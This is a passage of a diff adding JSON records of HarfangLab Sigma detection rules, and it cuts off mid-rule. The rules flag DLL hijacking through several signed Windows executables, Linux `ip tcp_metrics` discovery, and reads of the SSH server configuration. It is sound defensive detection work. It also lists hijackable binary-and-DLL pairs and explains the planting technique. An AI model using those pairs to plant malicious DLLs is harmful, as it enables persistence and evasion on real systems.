+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601936Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_qwinsta.yml",
+  "content": "title: DLL Hijacking via qwinsta.exe\nid: bd717793-fde9-4539-90cd-c62f18ae2c99\ndescription: |\n    Detects potential Windows DLL Hijacking via qwinsta.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'qwinsta.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\UTILDLL.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bd717793-fde9-4539-90cd-c62f18ae2c99",
+  "rule_name": "DLL Hijacking via qwinsta.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via qwinsta.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bd86d1f6-2ffc-4fe8-96a5-88918b5860a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588006Z",
+  "creation_date": "2026-03-23T11:45:34.588010Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588102Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_apphostregistrationverifier.yml",
+  "content": "title: DLL Hijacking via AppHostNameRegistrationVerifier.exe\nid: bd86d1f6-2ffc-4fe8-96a5-88918b5860a2\ndescription: |\n    Detects potential Windows DLL Hijacking via AppHostNameRegistrationVerifier.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'AppHostNameRegistrationVerifier.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\npmproxy.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bd86d1f6-2ffc-4fe8-96a5-88918b5860a2",
+  "rule_name": "DLL Hijacking via AppHostNameRegistrationVerifier.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via AppHostNameRegistrationVerifier.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bd8f4750-23de-4a90-802a-c2acf1dd3ba0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294839Z",
+  "creation_date": "2026-03-23T11:45:35.294841Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294846Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man8/ip-tcp_metrics.8.html",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_ip_tcp_metrics.yml",
+  "content": "title: IP TCP Metrics Execution\nid: bd8f4750-23de-4a90-802a-c2acf1dd3ba0\ndescription: |\n    Detects the execution of the IP tcp_metrics utility to display the recent cached entries for IPv4 and IPv6 source and destination addresses.\n    Attackers may use it during discovery phase to discover remote systems.\n    It is recommended to analyze the parent process to look for malicious content or other malicious actions.\nreferences:\n    - https://man7.org/linux/man-pages/man8/ip-tcp_metrics.8.html\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2022/12/23\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Ip\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/ip'\n        CommandLine|contains: ' tc'  # tcp_metrics\n        ParentImage|contains: '?'\n\n    exclusion_not_show:\n        CommandLine|contains:\n            - ' delete'\n            - ' flush'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bd8f4750-23de-4a90-802a-c2acf1dd3ba0",
+  "rule_name": "IP TCP Metrics Execution",
+  "rule_description": "Detects the execution of the IP tcp_metrics utility to display the recent cached entries for IPv4 and IPv6 source and destination addresses.\nAttackers may use it during discovery phase to discover remote systems.\nIt is recommended to analyze the parent process to look for malicious content or other malicious actions.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bdabb0f7-6a9d-4c37-b933-69d36ad31f65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594988Z",
+  "creation_date": "2026-03-23T11:45:34.594992Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595000Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bioiso.yml",
+  "content": "title: DLL Hijacking via bioiso.exe\nid: bdabb0f7-6a9d-4c37-b933-69d36ad31f65\ndescription: |\n    Detects potential Windows DLL Hijacking via bioiso.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'bioiso.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\iumbase.DLL'\n            - '\\iumsdk.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bdabb0f7-6a9d-4c37-b933-69d36ad31f65",
+  "rule_name": "DLL Hijacking via bioiso.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via bioiso.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "be097f82-bcfe-4468-a438-3578b59b4187",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593085Z",
+  "creation_date": "2026-03-23T11:45:34.593088Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593096Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_pinenrollmentbroker.yml",
+  "content": "title: DLL Hijacking via pinenrollmentbroker.exe\nid: be097f82-bcfe-4468-a438-3578b59b4187\ndescription: |\n    Detects potential Windows DLL Hijacking via pinenrollmentbroker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'pinenrollmentbroker.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\PROPSYS.dll'\n            - '\\SspiCli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "be097f82-bcfe-4468-a438-3578b59b4187",
+  "rule_name": "DLL Hijacking via pinenrollmentbroker.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via pinenrollmentbroker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "be199090-c1ac-4cbd-8c95-56a4e745b516",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.734331Z",
+  "creation_date": "2026-03-23T11:45:35.297413Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297418Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1021/004/",
+    "https://attack.mitre.org/techniques/T1563/001/",
+    "https://attack.mitre.org/techniques/T1484/"
+  ],
+  "name": "t1021_004_ssh_server_config_read_linux.yml",
+  "content": "title: SSH Server Configuration Read\nid: be199090-c1ac-4cbd-8c95-56a4e745b516\ndescription: |\n    Detects an attempt to read the content of the SSH server configuration file.\n    The SSH server configuration contains the security settings used by SSH.\n    An attacker can read the SSH server configuration to find weaknesses in them.\n    It is recommended to investigate the process reading the configuration file.\nreferences:\n    - https://attack.mitre.org/techniques/T1021/004/\n    - https://attack.mitre.org/techniques/T1563/001/\n    - https://attack.mitre.org/techniques/T1484/\ndate: 2022/11/07\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.004\n    - attack.t1563.001\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1484\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.PrivilegeEscalation\n    - classification.Linux.Behavior.Lateralization\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_path:\n        - Path: '/etc/ssh/sshd_config'\n        - TargetPath: '/etc/ssh/sshd_config'\n\n    selection_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_common:\n        ProcessImage:\n            - '*/md5sum'\n            - '*/sha1sum'\n            - '*/sha256sum'\n            - '*/lsattr'\n            - '*/file'\n            - '*/sum'\n            - '/usr/lib/systemd/systemd-readahead'\n            - '/usr/bin/rsync'\n            - '/usr/bin/cp'\n            - '/usr/bin/systemd-tmpfiles'\n            - '/bin/tar'\n            - '/usr/bin/tar'\n            - '/usr/bin/sed'\n            - '/usr/bin/rpm'\n            - '/usr/bin/git'\n            - '/usr/bin/mksquashfs'\n            - '/usr/bin/ssh-keygen'\n            - '/sbin/ureadahead'\n            - '/usr/sbin/ureadahead'\n            - '/usr/bin/diff'\n            - '/kaniko/executor'\n            - '/usr/lib/x86_64-linux-gnu/openscap/probe_textfilecontent54'\n            - '/bin/grep'\n            - '/usr/bin/grep'\n\n    exclusion_image:\n        ProcessImage:\n            - '/opt/chef/embedded/bin/ruby'\n            - '/opt/sophos-av/engine/_/savscand.?'\n            - '/usr/local/manageengine/uems_agent/bin/dctaskengine'\n            - '/var/cfengine/bin/cf-agent'\n            - '/opt/hpud/*/.discagnt/udscan'\n            - '/opt/FortiEDRCollector/bin/FortiEDRCollector'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n\n    exclusion_sshd:\n        - ProcessImage|endswith:\n            - '/sshd'\n            - '/sshd-socket-generator'\n        - ProcessParentImage|endswith: '/sshd'\n\n    exclusion_dpkg:\n        - ProcessImage|endswith: '/dpkg'\n        - ProcessParentImage|endswith: '/dpkg'\n        - ProcessGrandparentImage|endswith: '/dpkg'\n\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n\n    exclusion_apt:\n        - ProcessImage|endswith: '/apt'\n        - ProcessParentImage|endswith: '/apt'\n        - ProcessGrandparentImage|endswith: '/apt'\n\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/var/cache/debconf/tmp.ci/openssh-server.config.* configure'\n        - ProcessParentCommandLine|contains: '/var/cache/debconf/tmp.ci/openssh-server.config.* configure'\n        - ProcessGrandparentCommandLine|contains: '/var/cache/debconf/tmp.ci/openssh-server.config.* configure'\n\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/openssh-server.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/openssh-server.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/openssh-server.postinst configure'\n\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n            - 'dnf upgrade --refresh'\n\n    exclusion_systemd_tempfiles:\n        ProcessImage: '/usr/bin/systemd-tmpfiles'\n        ProcessCommandLine: 'systemd-tmpfiles --clean'\n        ProcessParentImage: '/usr/lib/systemd/systemd'\n\n    exclusion_eset:\n        ProcessImage|startswith: '/opt/eset/'\n\n    exclusion_puppet:\n        - ProcessImage|startswith: '/opt/puppetlabs/'\n        - ProcessCommandLine|contains: '/usr/bin/puppet agent'\n\n    exclusion_fusioninventory:\n        - ProcessName|startswith: 'fusioninventory-agent'\n        - ProcessCommandLine|contains: 'fusioninventory-agent'\n\n    exclusion_sosreport:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python* /usr/*bin/sosreport'\n            - '/usr/libexec/platform-python* /usr/sbin/sosreport '\n\n    exclusion_aide:\n        ProcessImage|endswith: '/aide'\n\n    exclusion_insights_client:\n        - ProcessParentCommandLine|contains:\n            - '/site-packages/insights_client/run.py'\n            - '/bin/insights-client-run'\n            - '/bin/redhat-access-insights'\n        - ProcessGrandparentCommandLine|contains:\n            - '/site-packages/insights_client/run.py'\n            - '/bin/insights-client-run'\n            - '/bin/redhat-access-insights'\n\n    exclusion_dpkg_openssh:\n        ProcessParentCommandLine|contains:\n            - 'sh /var/lib/dpkg/info/openssh-server.config configure'\n            - 'sh /tmp/openssh-server.config.?????? configure'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_glpi_agent:\n        - ProcessImage: 